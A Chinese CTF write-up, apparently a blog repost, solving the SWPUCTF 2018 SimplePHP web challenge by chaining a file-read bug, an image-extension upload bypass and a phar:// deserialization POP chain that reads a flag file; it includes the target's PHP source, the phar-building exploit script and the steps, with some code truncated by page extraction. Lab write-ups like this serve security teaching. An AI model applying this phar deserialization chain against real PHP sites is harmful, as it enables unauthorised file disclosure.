[SWPUCTF 2018]SimplePHP

打开环境发现存在任意文件读取漏洞[SWPUCTF 2018]SimplePHP_第1张图片

查看index.php

[SWPUCTF 2018]SimplePHP_第2张图片 

 

查看base.php

[SWPUCTF 2018]SimplePHP_第3张图片

 
 
 
 
     
    web3 
     
     
     
 
 
     
 
 

读取一下f1ag.php,但是被过滤了

 [SWPUCTF 2018]SimplePHP_第4张图片

看到upload_file.php

[SWPUCTF 2018]SimplePHP_第5张图片 读取一下[SWPUCTF 2018]SimplePHP_第6张图片

 
 
 
 
文件上传 
 
 

前端写得很low,请各位师傅见谅!


 function.php[SWPUCTF 2018]SimplePHP_第7张图片

alert("上传成功!");'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "

请选择上传的文件:" . "

"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo ''; return false; } } } ?>

发现上传的文件被过滤,只允许四种图片的后缀才能上传。

file.php[SWPUCTF 2018]SimplePHP_第8张图片

There is no file to show!

"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>

 file.php中include了class.php,通过class.php的_show()方法,将文件的内容显示出来。[SWPUCTF 2018]SimplePHP_第9张图片

 str = $name;  
    } //构造方法 __construct() 接受一个参数 $name,并将其值赋给 $str 属性。
    public function __destruct()
    {
        $this->test = $this->str; //
        echo $this->test;
    } //析构方法 __destruct() 将 $str 的值赋给 $test,然后输出 $test 的值。
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value) //__set() 方法是一个魔术方法,允许动态设置对象属性的值。
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value) //get() 方法在 __get() 方法内部调用,以从 $params 数组中获取指定键的值,并将其传递给 file_get() 方法进行进一步处理。
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

 

在class.php的Test类中

public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

我们可以利用file_get_contents

思路:我们首先生成一个phar文件,其中meta值里面是对class.php的序列化值,然后上传,获取文件的路径和文件名。然后,通过file参数访问该文件,file参数会经过file_exists(),直接触发phar进行反序列化,触发漏洞。

构造class.php的pop链。

我们可以得到利用链:C1e4r::__destruct()的

echo $this->test;

this->test被 当 作 字 符 串 , 此时当 this−>test被当作字符串,此时当this->test=Show类时,调用Show::__toString()函数。设置

$this->str['str']=Test类

因此

$this->str['str']->source=Test类->source

  

此时Test类调用不存在的属性source,此时就会调用Test::__get函数并执行

$this->get(source)

接着到Test::get函数里面执行

$value = $this->params["source"];

设置

$this->params["source"]="/var/www/html/f1ag.php"

然后执行

$this->file_get("/var/www/html/f1ag.php")

最后返回

base64_encode(file_get_contents("/var/www/html/f1ag.php"));

解码就可以得到flag了。

pop链
C1e4r::destruct() --> Show::toString() --> Test::__get() 。

params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;

$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub(''); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象,将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
$phar->stopBuffering();
?>

生成了phar文件,但是phar文件被过滤,需要修改文件名为jpg文件

直接上传,需要在/upload查看计算的文件名

[SWPUCTF 2018]SimplePHP_第10张图片 使用phar://伪协议读取到base64[SWPUCTF 2018]SimplePHP_第11张图片

解密一下得到flag

[SWPUCTF 2018]SimplePHP_第12张图片 

你可能感兴趣的:(学习)